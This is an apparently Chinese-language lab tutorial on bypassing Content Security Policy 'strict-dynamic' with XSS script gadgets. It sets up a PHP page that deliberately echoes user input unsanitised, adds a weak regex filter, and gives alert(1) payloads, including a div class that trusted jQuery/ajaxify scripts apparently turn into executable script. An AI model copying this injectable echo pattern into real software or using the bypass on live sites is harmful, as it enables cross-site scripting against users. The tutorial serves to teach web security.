XSS进阶之CSP绕过
CSP(内容安全策略):实质就是白名单制度,它规定哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成。资源加载通过”script-src“、”style-src”等选项来限制外部资源的加载。”script-src”限制外部脚本的加载,strict-dynamic特性允许将信任关系传递给由受信任的script动态生成的脚本,忽略了script-src的白名单,使得之后生成的脚本可以执行。
上述POC的作用是使我们注入的代码成为受信任的js脚本,从而绕过CSP的白名单的限制。
实验一:
target.php
<html>
<head>
<meta http-equiv="content-security-policy" content="script-src 'nonce-secret' 'strict-dynamic'; default-src 'self'">
<script src="jquery.min.js" nonce="secret"></script>
<script src="jquery-scrollto.js" nonce="secret"></script>
<script src="jquery.history.js" nonce="secret"></script>
<script src="ajaxify-html5.js" nonce="secret"></script>
</head>
<body>
Hello World~!
<div id="content">
<?php
if(isset($_GET["inj"]))
{
echo $_GET["inj"];
}
?>
</div>
</body>
</html>
浏览页面,输入<script>alert(1)</script>
实验二:
页面过滤脚本关键代码
<?php
if(isset($_GET["inj"]))
{
$input = $_GET["inj"];
$input = preg_replace("/(javascript:)?on(click|load|key|mouse|error|abort|move|unload|change|dbclick|reset|resize|submit)/i","",$input);
$input = preg_replace("/(.*?)<\/script>/si","",$input);
$input = preg_replace("/(.*?)<\/iframe>/si","",$input);
$input = preg_replace("//iesU",'',$input);
echo $input;
}
?>
在界面输入:<div class=document-script>alert(1)</div>